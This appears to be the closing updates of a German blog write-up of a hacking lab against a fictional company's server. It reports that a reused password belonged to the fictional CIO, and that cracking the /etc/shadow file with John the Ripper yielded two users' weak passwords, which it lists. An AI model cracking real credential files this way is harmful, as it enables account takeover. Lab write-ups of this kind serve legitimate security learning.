UPDATE: Da ich mich mittlerweile durch meine Beute gewühlt habe möchte ich zwecks Realitätsabgleich mal erwähnen zu wem der Account gehörte mit dem wir uns auf dem System eingeloggt haben, jdavenport ist der CIO dieser fiktiven Firma und wohlgemerkt der einzige der für beide Zugänge das gleiche Passwort verwendet hat. Wer hat nochmal behauptet das dieses Szenario unrealistisch ist?

UPDATE2: Was die fehlenden Passwörter angeht so hat ein Aufruf von john auf die /etc/shadow Datei bereits nach wenigen Minuten das passende Ergebnis ausgespuckt. ‘aallen’ hat als Passwort ‘jordan’ und ‘cchisholm’ hat sich für ‘iloveyou’ als Passwort entschieden. Das Passwort für den root Account fehlt zwar noch immer aber das wird auch so bleiben da mir zu einem reinen Bruteforce gerade die Zeit fehlt und meine Auswahl an Passwortlisten erschöpft ist. Das Passwort von root zu kennen ist ja auch nicht wirklich nötig, da wir uns die Rootrechte ja bereits auf anderem Wege beschafft haben.

Tagged , , , , . Bookmark the permalink.

About Brechthold

Brechthold gehört zu dem Gründungsteam von Contempt-it . Nach ein paar Jahren der Abstinenz jetzt wieder zurück im Adminteam um ein wenig Ordnung zu schaffen. Zu seinen Lieblingsthemen gehören Honeypots, IDS-Systeme und Servermonitoring. Neben seiner Arbeit im Adminteam werkelt er noch an seinem Brechtblog

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.